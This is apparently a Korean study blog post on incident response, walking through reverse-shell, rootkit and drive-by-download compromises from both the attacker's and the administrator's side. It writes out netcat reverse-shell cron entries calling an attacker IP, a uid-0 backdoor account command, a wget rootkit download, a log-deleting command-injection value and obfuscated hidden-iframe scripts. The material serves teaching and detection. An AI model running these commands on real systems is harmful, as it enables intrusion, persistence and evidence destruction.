본문 바로가기

정보보안/침해사고 분석 및 대응

[침해사고분석] 유형별 침해사고 시나리오 1

리버스 쉘(Reverse Shell) 침해 사고

① 개념

  • 원격에서 서버에 명령을 실행할 수 있는 쉘을 획득하는 방법
    • 바인드 쉘(Bind Shell) : 클라이언트/공격자가 타겟 서버에 접속하여 타켓 서버의 쉘을 획득하는 방식
    • 리버스 쉘(Reverse Shell) : 역으로 타겟 서버가 클라이언트/공격자로 접속해서 클라이언트가 타겟 서버의 쉘을 획득하는방식
      • 방화벽을 우회해 쉘을 획득 가능
      • 방화벽 인바운드 정책은 엄격하게 공개 서비스에 대해서만 제한적으로 허용해주지만 아웃바운드 정책은 느슨하게 허용해주기 때문에 내부->외부로 접속하는 리버스 쉘 획득이 용이
  • netcat(nc) : 다양한 네트워크 프로그램을 시뮬레이션 하기 위한 목적으로 만들어진 프로그램이며 리버스쉘 테스트에 많이 사용
    • nc [목적지 IP] -e [지정 프로그램] : 목적지 ip로 접속 후, [지정 프로그램]으로 실행 이미지 교채
    • nc -lvp 80 : 80/tcp 포트로 연결 요청을 대기하도록 nc 프로그램을 리스너로 동작
      • -l : 연결 요청을 수락할 수 있는 리스닝모드로 설정
      • -v : verbose 모드로 동작(진행상황 표시)
      • -p : 로컬 리스닝 포트 설정
    • 상세 동작 원리 (nc [목적지 IP] -e /bin/bash)
      1. (nc리스너 - listen) nc 리스너는 리스닝 포트를 오픈하고 연결 요청이 들어올 때까지 대기한다.
      2. (nc커넥터 - connect) nc 커넥터는 nc 리스너로 연결 요청(connect)을 수행하여 연결을 완료한다.
      3. (nc커넥터 - exec) 연결을 완료한 nc 커넥터는 자신의 프로세스 실행 이미지를 bash 프로세스 실행 이미지로 전이한 후(exec) bash 프로세스로 동작한다. (동일 프로세스의 실행 이미지만 새로운 프로세스로 교체)
      4. (bash - duplicate) 실행이미지만 교체되고 이전 nc 커넥터가 오픈한 파일리스트는 그대로 복제된다. 따라서 bash 프로세스의 표준입력, 표준에러, 표준 출력은 이전 nc 커넥터가 nc리스너와 소켓으로 연결된 부분이 그대로 유지되어 nc 리스너와 통신이 이루어진다.

② 공격시나리오(공격자(해커) 입장)

  1. (루트계정 탈취) 공격자는 Telnet 무작위 대입/사전 공격 수행
  2. (루트권한 일반사용자계정 생성) 공격자는 탈취한 루트계정을 이용해 Telnet 원격 로그인 후 루트권한의 일반 사용자 계정을 생성한다. 
    > useradd -p -u 0 -g 0 -d /root holly 
    # holly라는 일반사용자계정을 uid(0) gid(0)으로 설정하며 중복 생성을 허용하기 위해 -o 옵션 사용.
  3. (스케줄링 등록) 내부 침입자는 외부에서 방화벽을 우회하여 타겟 웹서버로 지속적으로 접근하도록 하기 위해 nc 프로그램을 이용한 리버스 쉘 명령을 cron 테이블(/etc/crontab)에 등록한다.
    #cat /etc/crontab
    ...
    #매일 오전2시 30분에 root 계정으로 nc 10.10.10.10 80 목적지로 nc 명령어(리버스쉘 연결) 수행
    30 2 * * * root /usr/bin/nc 10.10.10.10 80 -e /bin/bash 
    * 목적지가 80 포트인 이유 : 일반적인 http 트래픽으로 위장해 관리자가 쉽게 알아채지 못하도록 하기 위함
  4. (공격명령 수행) 외부 공격자는 타겟웹서버의 쉘을 주기적으로 획득해 추가적인 공격명령 수행

③ 분석시나리오(피해자(관리자) 입장)

  1. (로그확인) 관리자는 웹서버 로그 분석 중 "/var/log/secure","/var/log/messages"로그파일에 허용하지 않는 루트 계정의 Telnet 원격 로그인이 성공한 것을 발견
    #cat /var/log/secre
    #짧은 시간 내 많은 로그인 실패
    ..FAILED LOGIN..
    ..FAILED LOGIN..
    ..FAILED LOGIN..

    # 내부IP 192.168.56.40으로 pts/2 원격 터미널을 통해 루트계정으로 로그인 성공
    NOV 19 00:38:24 Fedorall login : pam_unix(remote:session) :  session opened for user root by (uid=0)
    NOV 19 00:38:24 Fedorall login : ROOT LOGIN ON pts/2 FROM 192.168.56.40
    #cat /var/log/messages
    #짧은 시간 내 많은 telnet 연결
    ..EXIT..
    ..START..
    ..EXIT..
    ..START
    ..EXIT

    # 위와 동일한 시각에 telnet 연결 START
    NOV 19 00:38:24 Fedorall xinetd[3786] : START: telnet pid=6723 from=::ffff:192.168.56.40
  2. (.bash_history 확인) 관리자는 루트 계정의 명령어 실행 내역을 확인하기 위해 루트계정의 명령어 실행 내역을 기록하고 있는 ".bash_history" 로그 파일을 분석한 결과 다음과 같은 내용 확인
    ..
    useradd -p -u 0 -g 0 -d /root holly #루트권한 탈취
    ..
    vi /etc/crontab # 반복작업 등록
    ..
  3. (공격자 계정 확인) /etc/passwd 파일 확인 결과 uid,gid가 0인 계정 확인. 더 있는지 추가적인 확인
  4. (스케줄링 확인)관리자는 공격자가 실행한 "vi /etc/crontab" 명령을 통해 /etc/crontab에 주기적 작업 등록한 것의심 및 해당 내용 확인
  5. (리버스쉘 연결여부 확인) 관리자는 공격자가 리버스 쉘을 연결하고 있는지 확인하기 위해 netstat 명령을 실행한 결과 현재 공격자가 Bash쉘이 연결된 것을 확인(crontab에 기입된 ip주소를 기반으로 확인)
    #netstat -antp | grep 10.10.10.10
    tcp 0 0 192.168.56.100:48095 10.10.10.10:80 ESTABLISHED 3039/bash
    #ps -ef | grep 3039 | grep -v grep
    root 3039 2904 0 20:00 pts/2 00:00:00 /bin/bash
    • #netstat -antp | grep 10.10.10.10
      • -a: 모든 네트워크 연결(리스닝 중인 것 포함)을 표시
      • -n: 호스트 이름 대신 IP 주소를 숫자로 출력하여 더 빠르게 결과를 표시
      • -t: TCP 연결만 표시
      • -p: 해당 연결을 사용하는 프로세스의 PID와 프로그램 이름을 표시합니다 (root 권한 필요)
    • #ps -ef | grep 3039 | grep -v grep
      • ps -ef: 모든 프로세스의 전체 목록을 자세히 출력
      • grep 3039: 출력된 목록에서 3039라는 문자열이 포함된 줄만 필터링. (보통 PID 또는 특정 프로세스의 포트 번호를 찾기 위해 사용됨)
      • grep -v grep: 이전 grep 명령 자체를 결과에서 제외하여 진짜 프로세스 정보만 남김.

루트킷(Rootkit) 침해 사고

① 개념

  • 익스플로잇(Exploit) : 소프트웨어나 하드웨어의 버그 또는 취약점을 이용해 공격자가 의도한 동작이나 명령을 실행하도록 하는 코드(익스플로잇 코드) 또는 그러한 행위
  • 쉘코드(ShellCode) : 익스플로잇 이후 실행되며, 일반적으로 어셈블리어/기계어로 작성된 작은 크기의 코드 
    • 좁은 의미 : 쉘(바인드 쉘 또는 리버스 형태의 쉘)을 실행시키는 코드
    • 넒은 의미 : 쉘 실행 + 공격자가 원하는 작업을 수행하는 다양한 형태의 코드
  • 오버플로우 익스플로잇 동작 방식
    1. 대상 프로그램의 버퍼 오버플로우 취약점을 유발시키는 익스플로잇 코드 수행
    2. 익스플로잇 코드를 통해 스택의 버퍼에 다수의 NOP 명령과 쉘 코드 삽입
      • NOP(No OPeration) : 아무 기능도 수행하지 않는 명령어를 의미. 대표적으로 많이 보이는 형태는 인텍 x86시스템에서 사용하는 NOP 명령어
        • 기계어 코드의 헥사값이 '0x90'. 프로그램에서 NOP명령은 빈공간을 채우기 위한 명령어로 해당 명령어를 만나면 아무런 동작 없이 다음 명령어로 넘어감
      • 쉘 코드 실행을 위해 NOP 명령을 삽입하는 이유 : Return Address가 쉘 코드 주소를 정확히 가리켜야 하는데 프로그램 실행 시마다 쉘 코드주소가 조금씩 바뀔 수 있기 때문에 정확한 주소를 알기 어렵다. 따라서 실행 확률을 높이기 위해 다수의 NOP명령을 쉘 코드 앞에 삽입하여 해당 영역을 가리키기만 하면 NOP를 타고 최종적으로는 쉘코드가 실행되기 위함이다.
    3. 버퍼오버플로우를 통해 Return Address를 공격자가 삽입한 쉘코드가 위치한 주소로 변조한다.
  • 취약점 정보 분류 체계
    • CVE(Common Vulnerabilities and Exposure) : MITRE에서 1999년에 만든 공개적으로 알려진 소프트웨어의 보안취약점을 표준화한 식별자 목록
      • 서로 유사한 취약점 정보가 관련 기관 및 보안업계 간 상이하게 분류되는 혼선을 방지하기 위해 공통의 유일한 명칭으로 취약점을 식별하기 위해 만들어짐.
      • 식별자 네임 체계 : CVE-2024-0160(접두사-해당년도-취약점번호)
    • CWE(Common Weakness Enumeration) : MITRE사가 중심이 되어 소프트웨어에서 공통적으로 발생하는 약점(Weakness)을 체계적으로 분류한 목록을 제공하기 위해 만들어짐
      • 보안 약점(Weakness) : 공격에 잠재적으로 활용될 수 있는 소프트웨어의 결함,오류 등
      • 보안 취약점(Vulnerability) : 해킹 등 실제 보안 사고에 이용되는 소프트웨어의 보안 약점이나 시스템 상의 보안 허점
      • 모든 보안약점이 취약점이 되진 않지만 사전에 제거함으로서 취약점의 상당수 제거 가능
      • 소프트웨어 약점은 SDLC과정에서 발생할 수 있기 때문에 설계, 아케텍처, 코드 단계등에 대한 취약점 목록을 정의해놓음
        • SDLC(Software Develop Life Cycle) : 소프트웨어 개발 생명 주기 (정의->개발->유지보수)
      • CWE/SANS TOP 25 : 미국 MITRE 및 SANS 연구소에서 발표하는 소프트웨어 개발자가 갖아 범하기 쉽고 위험한 25가지 소프트웨어 취약점 목록을 유형별로 분류해 놓은 것. OWASP와 매우 유사하지만 유형별로 좀 더 구체적분류가 되어있음
 

Top 25 Software Errors | SANS Institute

Contributors to the 2021 CWE Top 25: In alphabetical order: Adam Chaudry, Steve Christey Coley, Kerry Crouse, Kevin Davis, Devon Ellis, Parker Garrison, Christina Johns, Luke Malinowski, Rushi Purohit, Becky Powell, David Rothenberg, Alec Summers, and Bria

www.sans.org

 

② 공격시나리오

  1. (nessus로 취약점 스캔) 공격자는 알기사 사이트의 웹서버 취약점 스캔을 통해 Tomcat 웹서버의 관리자 페이지(/Manager/html)가 외부에 노출되어 있으며 아이디와 패스워드를 초기 설치상태(Id:tomcat,password:tomcat)으로 사용하고 있는 것을 발견
    Output:
    - Service : Apache Tomcat Manager
    - URL : http://example.com:8080/manager/html
    - Default Credentials : Found (username: tomcat, password: tomcat)
    (익스플로잇을 통한 리버스쉘 연결) Tomcat 관리자 페이지 취약점을 이용한 익스플로잇을 통해 백도어 기능을 수행하는 쉘코드를 실행해 루트권한의 리버스 쉘 연결. (연결된 세션정보의 타겟 웹서버 IP주소가 10.10.10.3인 인 이유는 타겟 웹서버에서 나갈 때, NAT되었기 때문)
    resource (exploit.rc) > exploit
    [*] Started reverse TCP handler on 10.10.10.10:443
    [*] Trying to upload...
    [*] Upload successful, executing...
    [*] Command shell session 1 opened (10.10.10.10:443 -> 10.10.10.3:46701) at 2024-11-19 15:00:00

  2. (루트킷 설치) 공격자는 연결한 리버스쉘을 이용해 추가 공격 행위를 은닉하기 위한 루트킷을 설치한다.
    sh-4.0# cd /var/tmp
    sh-4.0# pwd
    /var/tmp
    (작업 디렉토리 변경) 리버스쉘 획득 이후 현재 작업 디렉터리를 /var/tmp로 이동하는 코드. 일반적으로 공격자는 악성 코드 및 공격도구를 다운로드하기 위해 임시디렉터리(/var/tmp, /tmp 등)을 이용한다. 임시디렉토리는 모든 사용자에 대해 읽기/쓰기가 자유롭고 다수가 사용하는 임시 디렉터리의 특성상 상대적으로 관리가 소홀하기 때문이다.
    sh-4.0# wget http://10.10.10.10/hacker rootkit.tar.gz
    ...
    ... 'rootkit.tar.gz saved'
    공격자 웹서버(10.10.10.10)으로부터 루트킷 프로그램을 다운로드 한다. 타겟 웹서버 방화벽 정책상 아웃바운드 접속을 모두 허용하기 때문에 "wget 리소스URL"명령을 이용하면 손쉽게 다운로드 가능하다.
  3. (파일명 변경) 공격자는 관리자가 쉽게 눈치채지 못하게 루트킷 파일명을 아파치 서버 패치 파일인것처럼 위장한다.
    • mv [원본파일명] [변경파일명] 
    • ex) mv rootkig.tar.gz apache2.2.15-patch.tar.gz
  4. (루트킷 실행) 공격자는 tar명령어를 이용해 압축(.gz) 및 아카이브(.tar)된 파일을 푼 후 install 명령을 통해 루트킷을 실행한다.
    • tar 옵션
      • zxvf : gzip으로 압축된 파일(f)을 해제(z)하면 아카이브 파일이 생성되고 아카이브 파일을 현재 디렉터리에 해제(x)한다. 또한 진행상황을 화면에 보여준다.(v)
    • 아카이브 파일 : 여러 파일을 하나의 파일로 묶은 것. 주로 대량의 파일을 백업/배포하기위해 사용
  5. (스케줄링) 알기사 웹서버로 지속적으로 접근하기 위해 리버스 쉘 명령을 cron테이블(/etc/crontab)에 등록한다.
    sh-4.0# echo "0 3 * * * root /usr/bin/nc 10.10.10.10:443 -e /bin/bash" >> /etc/crontab
    매일 오전 3시에 루트 권한으로 리버스쉘 명령을 실행하도록 cront 테이블에 등록. echo 명령의 출력 재지정을 Append(>>) 형식으로 하여 기존 등록된 작업에 영향을 주지 않고 추가만 되도록 한다. 포트가 443 인 이유는 HTTPS 접속 트래픽으로 위장하기 위해서다.
  6. (공격) 공격자는 타겟 웹서버의 쉘을 주기적으로 획득해 추가적인 공격명령을 실행한다.
 

③ 분석시나리오

  1. (로그확인) 관리자는 Tomcat 웹서버 엑세스 로그 분석 중 외부로부터 취약점 스캔이 발생하였으며 인증 정보를 알고 있는 관리자 외에는 외부에서 접근이 불가능한 관리자 페이지(/Manager/html)가 정상 응답 (200OK) 된 사실을 웹서버 액세스 로그를 통해 확인한다.
    10.10.10.10 - - [19/Nov/2024:15:10:05 +0000] "GET /manager/html HTTP/1.1" 401 381 #실패. 요청자원에 대한 인가 필요
    10.10.10.10 - - [19/Nov/2024:15:10:06 +0000] "GET /manager/html HTTP/1.1" 200 2153 # 성공
    10.10.10.10 - - [19/Nov/2024:15:10:12 +0000] "POST /manager/html HTTP/1.1" 403 452 #요청자원에 대한 접근차단
    10.10.10.10 - - [19/Nov/2024:15:10:15 +0000] "GET /host-manager/html HTTP/1.1" 404 1034  #요청 자원 존재 x
    10.10.10.10 - - [19/Nov/2024:15:10:18 +0000] "GET /examples/servlets/ HTTP/1.1" 404 983
    10.10.10.10 - - [19/Nov/2024:15:10:20 +0000] "GET /admin/html HTTP/1.1" 404 976
    10.10.10.10 - - [19/Nov/2024:15:10:22 +0000] "GET /docs/ HTTP/1.1" 404 985
    자동화된 취약점 스캐너의 경우 많은 트래픽 노이즈를 발생시키며 각 벤더사 고유의 페이로드를 사용하여 침입탐지/차단 시스템에 탐지될 확률이 매우 높음. 위 예는 nessus 이며 nikto의 경우 헤더에 Nikto라고 써져있다.
  2. (루트킷 점검) 관리자는 공격자가 관리 페이지의 업로드 기능을 이용해 악성코드를 웹서버로 유포했을 가능성이 있다고 판단해 루트킷 탐지도구로 점검한 결과 다음과 같은 사실을 확인하였다.
    #chrootkit -q
    Checking 'netstat' ... INFECTED
    ....
    you have 11 process hidden for ps command
    ...
    chrootkit 프로그램 실행 결과 netstat 실행 파일이 변조되었으며(INFECTED) ps 명령 시 11개의 프로세스가 숨겨진 것으로 보아 ps실행파일의 변조와 숨겨진 프로세스 중 공격자가 은닉한 프로세스가 있을 것으로 판단
  3. (수정된 실행파일 확인) 관리자는 /bin 디렉터리에 있는 일부 실행파일들의 변조가 의심되어 최근 10일 이내에 수정된 실행파일이 있는지 find 명령으로 확인한 결과 chrootkit 프로그램 실행결과로 의심되었던 /bin/netstat,/bin/ps 실행파일이 최근에 수정되었음을 확인한다.
    #find /bin/ -type f -mtime -10 | xargs ls -l
    -rwxr-xr-x 1 root root 186544 Nov 9 10:25 /bin/netstat
    -rwxr-xr-x 1 root root 234568 Nov 8 08:12 /bin/ps
  4. (무결성 체크) rpm 명령을 통해 해당 실행파일의 무결성을 체크한 결과 최초 설치 시점과 비교해서 파일 크기(S), MD5체크섬(5), 파일 수정 시간(T)가 변경된 것을 확인
    #rpm -qf /bin/netstat /bin/ps 
    net-tools...
    procps..
    #rpm -V net-tools procps 
    S.5....T.
    S.5....T.
    • #rpm -qf [명령어 절대경로] : 해당 명령어가 어디 패키지에 포함되어있는지 확인
    • #rpm -V [패키지] : 해당 패키지에 대한 무결성 검사
  5. (패키지 재설치) 관리자는 변조된 명령어르 재설치하기 위해 rpm 명령어를 이용해 패키지 재설치중 문제점을 발견하여 해당 속성을 수정 후 다시 패키지를 설치한다.
    #lsattr /bin/netstat /bin/ps
    ----i--------e- /bin/netstat
    ----i--------e- /bin/ps 

    #chattr -i /bin/netstat /bin/ps
    ...
    #rpm -Uvh --force ..../net-tools...
    #rpm -Uvh --force ..../procps...
  6. (리버스쉘 연결 확인) 재설치 후 리버스쉘이 연결된 것을 확인한다.
    # ps -ef | grep "nc -v" | grep -v grep
    root 2942 2925 0 18:56 pts/3 00:00:00 nc -v 10.10.10.10 443
    # netstat -antp | grep 10.10.10.10
    tcp 0 0 192.168.56.100:50787 10.10.10.10:443
  7. (스케줄링 확인) 관리자는 추가 공격 흔적을 확인하기 위해 로그 분석을 한 결과 cron 로그(/var/log/cron)에 다음과 같은 사실을 확인한다.
    # cat /var/log/cron/cron-20241119
    NOV 18 03:00:01 Fedorall CROND[15950]: (root) CMD (/usr/bin/nc 10.10.10.10 443 -e /bin/bash)
    ..
  8. lsof(list open file) 프로그램을 이용한 정보 수집
    COMMAND   PID   USER   FD   TYPE DEVICE SIZE/OFF NODE NAME
    bash      1234  root   0u   IPv4  654321      0t0  TCP 192.168.56.100:36709->10.10.10.10:443 (ESTABLISHED)
    bash      1234  root   1u   IPv4  654321      0t0  TCP 192.168.56.100:36709->10.10.10.10:443 (ESTABLISHED)
    bash      1234  root   2u   IPv4  654321      0t0  TCP 192.168.56.100:36709->10.10.10.10:443 (ESTABLISHED)
    • lsof : 시스템에서 동작하는 모든 프로세스에 의해 오픈된 파일 정보를 보여주는 프로그램. 루트킷 등에 의해 공격자가 구동한 프로세스 정보를 제대로 볼 수 없을 때 lsof 프로그램을 이용해 확인한다.
      • (default) : 모든 열린 파일 정보 출력 
      • -p : PID 기준으로 프로세스가 오픈한 파일정보 확인 가능
      • -u : USER 기준으로 프로세스가 오픈한 파일정보 확인 가능
      • -i : 인터넷 주소 기반 소켓파일을 오픈하고 있는 프로세스 정보 확인 (ex.-i@IP:Port , -i@IP, -i@Port)
    root 권한의 bash 프로세스(1234)가 192.168.56.100:36709(타겟웹서버IP)에서 10.10.10.10:https(공격자)로 연결된 소켓을 표준 입력(0u),표준 출력(1u),표준 에러(2u) 로 오픈하고 있는 것을 알 수 있으며, u의 의미는 read/write모드로 오픈되었다는 의미다.

DBD(Drive By Download) 침해 사고

① 개념

  • DBD(Drive By Download)
    • 사전적 의미: 다운로드로 유도하는 공격
    • 정의 : 홈페이지를 해킹한 후 사용자 PC의 취약점을 익스플로잇하는 악성 스크립트와 악성코드를 은닉시키고 취약한 PC환경의 사용자가 홈페이지에 접속할 경우, 자신의 의도와는 무관하게 악성코드가 다운로드 되어 설치되는 공격기법.
      • 사용자 PC 취약점 : 운영체제, 인터넷 브라우저, 문서 편집기, 문서 뷰어, 플래쉬 플레이어 등의 응용프로그램 취약점 등
    • 일반적으로 난독화된 악성 스크립트와 다수의 경유지/중계지를 거쳐 최종 유포지로 접속하여 악성코드를 다운로드하도록 유도함.
      • 난독화를 통해 보안장비를 통한 분석과 탐지를 어렵게 함.
      • 다수의 경유지를 통해 유포지에 대한 추적을 어렵게 함
    • 홈페이지를 통한 악성코드 유포 목적
      • 파밍형 악성코드를 통해 금융정보, 개인정보를 탈취하려는 목적
      • 특정 타겟을 대상으로 악성코드를 유포하는 워터링 홀 방식의 APT 공격이 주된 목적으로 나타남.
    • 관련 용어
      • 방문페이지(Landing Page) : 웹사이트를 방문했을 때 현재 브라우저가 보여주는 페이지
      • 경유페이지(Passage Page) 또는 경유지 : 악성스크립트가 삽입되어있는 방문페이지
      • 중계페이지(Hopping Page) 또는 중계지 : 경유페이지에서 유포페이지로 연결해주는 징검다리 역할을 하는 페이지(경유페이지와 혼용해서 사용)
      • 유포페이지(Distribution Page) 또는 유포지 : 실제 익스플로잇 및 악성코드가 저장되어있고 이를 유포하는 페이지
    • 홈페이지 유포 악성코드 탐지기술
      • 정적분석(Static Analysis) 기술 : (알려진패턴분석) 알려진 악성코드 페이지 또는 악성 스크립트 문자열을 포함하는 악성 링크가 있는지 탐지 -> 미탐 증가 오탐 감소
      • 동적분석(Dynamic Analysis) 기술 :(행위분석) 가상의 이용자 PC환경을 구성하고(ex.sandbox) 다양한 취약점에 노출시킨 후 점검대상 페이지에 점속하여 비정상적인 레지스트리 변경, 악성코드 다운로드, C&C 서버 접속 등의 악성행위를 분석하는 기법 -> 미탐 감소 오탐 증가, 분석속도 느림
  • 난독화(Obfuscation) : 프로그램 코드 읽기 어렵게 만드는 기술
    • 종류
      • 소스코드 난독화 : C/C++/JAVA 등의 프로그램 소스코드를 알아보기 힘들게 만드는 기술
      • 바이너리 난독화 : 컴파일 후 생성된 바이너리를 역공학(Reverse Enginerring)을 통해 분석하기 어렵게 변조하는 기술
    • 난독화 이유
      • 코드의 가독성을 낮춰 분석을 어렵게함
      • 패턴/시그니처 기반 보안장비 탐지를 우회
    • 난독화 기술 예시
      • 분할 난독화(Split obfuscation) : 다수의 문자열변수로 잘게 쪼갠 후 다시 재조합해 출력
        <script>
        // iframe 태그 및 속성을 난독화하여 문자열로 분할
        // iframe 태그의 width,height를 모두 0으로 지정해 브라우저상에 보이지 않도록 숨기고 src속성을 통해 조합된 페이지로 리다이렉트 시킴
        var part1 = "<ifr";
        var part2 = "ame sr";
        var part3 = "c='";
        var part4 = "https://";
        var part5 = "example";
        var part6 = ".com";
        var part7 = "/target";
        var part8 = "' sty";
        var part9 = "le='display:none;'></ifr";
        var part10 = "ame>";
        // iframe 태그 결합 및 삽입
        var iframeCode = part1 + part2 + part3 + part4 + part5 + part6 + part7 + part8 + part9 + part10;
        // HTML 코드에 iframe 삽입
        document.write(iframeCode);
        </script>
        단순 패턴/시그니처 기반의 탐지 장비라면 "Iframe","width=0" 등의 탐지패턴은 가지고 있더라도 스크립트 동작 결과를 계산하지 못하는 한계 때문에 탐지 불가.
      • 10진수 난독화 : 각각의 문자를 아스키코드 10진수 형식으로 인코딩하여 난독화하는 방식
        <script> // 10진수로 난독화된 iframe 태그 및 URL 구성
        var iframeCode = String.fromCharCode( 60, 105, 102, 114, 97, 109, 101, 32, 115, 114, 99, 61, 34, 104, 116, 116, 112, 115, 58, 47, 47, 101, 120, 97, 109, 112, 108, 101, 46, 99, 111, 109, 47, 116, 97, 114, 103, 101, 116, 34, 32, 115, 116, 121, 108, 101, 61, 34, 100, 105, 115, 112, 108, 97, 121, 58, 110, 111, 110, 101, 59, 34, 62, 60, 47, 105, 102, 114, 97, 109, 101, 62 );
        // eval을 사용하여 iframe 실행
        // eval 함수 : 인자로 받은 문자열이 자바스크립트 코드가 맞는지 검증한 후 이를 실행하는 함수로 악성 스크립트에 자주 등장.
        iframeCode= eval("iframeCode");
        document.write(iframeCode)
        </script>
        육안으로 코드식별이 어렵고 디코딩기능이 없는 장비는 장비 패턴 매칭이 불가능
      • 16진수 난독화 : 문자열 바이트 단위로 %헥사값형식으로 표현하는 퍼센트 인코딩 방식으로 난독화
        <script>
        // 16진수로 난독화된 iframe 태그 및 URL 구성
        var iframeCodeHex = "%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%73%3A%2F%2F%65%78%61%6D%70%6C%65%2E%63%6F%6D%2F%74%61%72%67%65%74%22%20%73%74%79%6C%65%3D%22%64%69%73%70%6C%61%79%3A%6E%6F%6E%65%3B%22%3E%3C%2F%69%66%72%61%6D%65%3E";
        // unescape 함수를 사용하여 iframe 태그를 복원 및 삽입
        // unescape() : 퍼센트 인코딩된 문자열을 디코딩해주는 함수
        var iframeCode = unescape(iframeCodeHex);
        document.write(iframeCode);
        </script>
        육안으로 코드 식별이 어렵고, 디코딩 기능이 없는 탐지장비는 장비 패턴 매칭이 불가능
      • 기타 난독화 : XOR 인코딩, BASE64 인코딩 등 다양한 방식의 난독화 기술 존재.

② 공격시나리오

  1. (취약점 확인 및 악성코드 업로드) 공격자는 경유지와 중계지로 사용할 웹서버를 확보하기 위해 여러 사이트를 대상으로 취약점 스캔을 하던 중 방문자가 많은 aaa사이트(www.aaa.com)와 bbb(www.bbb.com)사이트에 파일업로드 취약점이 존재한다는 사실을 확인하고 이를 이용해 웹쉘(webshell.php) 및 악성 자바스크립트 업로드(co2m.js,co3m.js)에 성공한다.
  2. (경유 페이지 변조) 공격자는 웹쉘을 통해 aaa사이트 웹서버의 기본페이지(index2.php)를 변조해 업로드한 악성 스크립트 삽입 구문을 추가한다.
    # 경유지 인 aaa 메인페이지 index2.php에 추가
    ...
    <.. language="javascript" src="/home/js/co2m.js"..
    <.. language="javsscript" src="/home/js/co4m.js"..
    ...
    co2m.js 파일에는 iframe 태그를 통해 중계지인 bbb 사이트로 이동시키는 난독화된 자바스크립트 코드가 들어있으며, co4m.js 파일에는 사용자 쿠키 정보를 탈취해 공격자 웹서버로 전달하는 코드가 들어있다.
  3. (중계 페이지 변조) 공격자는 웹쉘을 통해 bbb사이트의 기본 페이지(main2.php)에 유포지 페이지로 이동시키는 iframe 태그를 삽입한다.
    # 중계지인 bbb 메인페이지 main2.php에 추가
    ...
    <iframe src="유포지 주소".. width=0 height=0 ...
    ...
  4. (웹서버 엑세스 로그 삭제) 공격자는 경유지인 aaa사이트에 운영체제 명령 실행 취약점이 존재한다는 사실을 확인하고, 자신의 접근 흔적을 지우기 위해 웹서버의 엑세스 로그(access_log) 삭제를 시도한다.
    입력값 : 127.0.0.1; rm -rf /var/log/httpd/access_log
    #PHP 환경에서 입력값을 받아 운영체제 명령어를 실행할 수 있는 함수 : shell_exec(입력값), passthru(입력값), exec(입력값), system(입력값)
  5. (유포지를 활용한 리버스쉘 획득) 공격자는 유포지에 접속한 사용자의 IE 브라우저 취약점을 이용해 익스플로잇을 수행, 리버스 쉘을 획득한다.
    resource (exploit.rc) > exploit
    [*] Started reverse TCP handler on 10.10.10.10:443
    [*] Trying to upload...
    [*] Upload successful, executing...
    [*] Command shell session 1 opened (10.10.10.10:4321 -> 10.10.10.3:39595) at 2024-11-19 15:00:00

    meterpreter > sysinfo
    Computer : ...-WINXP-KO
    OS : Windows XP (Build 2600, Service Pack 3)
    //오래된 운영 체제이기 때문에 알려진 취약점이 많아 보안 위협에 노출될 가능성이 높습니다.
  6. 희생자 쿠키 정보 탈취 및 공격자 웹서버에 저장

③ 분석시나리오

  1. (통보 및 엑세스로그 확인) 유포지(aaa) 보안 담당자는 KISA로부타 해당 사이타가 악성코드 경유지/중계지로 사용되고 있다는 연락을 받고 즉시 웹서버를 점검한 결과 액세스 로그를 통해 다음과 같은 사실을 확인했다.
    (파일 업로드 확인)
    192.168.56.1 - - [18/NOV/2024:22:23:06 +0900] "POST /home/downlaod/insert.php?table=download HTTP/1.1" 200 1243 "http://www.aaa.com/home/download/write_form.php?table=download" "...

    #11월 19일 22시 23분 06초 경 refere을 통해 자료실 게시판 "http://www.aaa.com/home/download/write_form.php?table=download" 에서 insert.php 호출을 통해 파일 업로드가 발생(200 OK)한 사실을 확인
    (웹쉘 업로드 확인)
    192.168.56.1 - - [18/NOV/2024:22:30:49 +0900] "POST /home/downlaod/2024_11_19_22_23_06.php?table=download HTTP/1.1" 200 1243 "http://www.aaa.com/home/downlaod/2024_11_19_22_23_06.php?table=download" "...

    #파일 업로드 후 11월19일 22시30분49초 경 업로드 디렉터리(/home/download/data)에 게시판 첨부파일로 허용하지 않는 웹쉘로 의심되는 PHP파일이 호출되었고 정상응답 (200 OK) 확인
    #보안담당자는 웹쉘 의심 PHP 파일(2024_11_19_22_23_06.php)을 호출해본 결과 웹쉘 파일로 확인
    #보안담당자는 자료실 게시판에 파일 업로드 취약점이 존재한다는 사실 확인 -> 임시 폐쇄 후 개발자에게 보안조치 권고
    #(개발보안조치 1) 업로드 파일명 확장자에대한 적절한 필터링(화이트리스트정책)을 통해 악성 스크립트 파일 업로드 차단
    #(개발보안조치 2) 업로드 파일을 저장하기 위한 전용디렉터리를 별도 생성 후 웹서버 설정을 통해 실행 설정 제거 (DocumentRoot 하위에 저장디렉터리 설정), 악성 스크립트 파일이 업로드 되어도실행 안되게 한다.
    (자바스크립트 호출 확인)
    192.168.56.1 - - [18/NOV/2024:22:46:30 +0900] "GET /home/js/co2m.js HTTP/1.1" 200 624 ...
    192.168.56.1 - - [18/NOV/2024:22:46:30 +0900] "GET /home/js/co4m.js HTTP/1.1" 200 624 ...

    #파일 업로드 후 11월19일 22시46분30초 경 평소 보이지 않던 신규 자바스크립트 파일(co2m.js,co4m.js)이 호출되었고 200 OK 된 것 확인
    (엑세스 로그 삭제시도 확인)
    192.168.56.1 - - [18/NOV/2024:22:46:30 +0900] "GET /home/vul/vul.php?ip127.0.0.1%3Brm+-rf+%2Fvar%2Flog%2Fhttpd%2Faccess_log&submit=submit HTTP/1.1" 200 1234...

    #웹쉘 및 악성 스크립트 파일 업로드를 수행하는 것으로 의심되는 IP(192.168.6.1)로부터 운영체제 명령어 취약점이 있는 페이지 vul.php에서 "127.0.0.1;rm -rf /var/log/httpd/access_log" 명령어 전달 확인
    #httpd.conf 설정 파일
    User apache
    Group apache

    #ls -al /var/log/httpd
    drwx------. 2 root root 4096 2024-11-19 22:17 httpd

    #공격자는 로그 지우는 것을 시도했으나, 실제 명령은 권한 문제로 성공하지 못함.
    #보안 담당자는 vul페이지에 운영체제 명령실행 취약점이 존재한다는 사실을 확인 후 임시 폐쇄 후 개발자에게 보안 조치 권고
    (보안조치 1) 사용자 입력값에 운영체제 명령어를 실행할 수 있는 문자(세미콜론 등)가 포함되어 있는지 적절히 필터링하여 차단
    (보안조치 2) 웹 애플리케이션 운영상 운영체제 명령어를 사용해야한다면 허용가능한 명령어리스트를 선정한다.
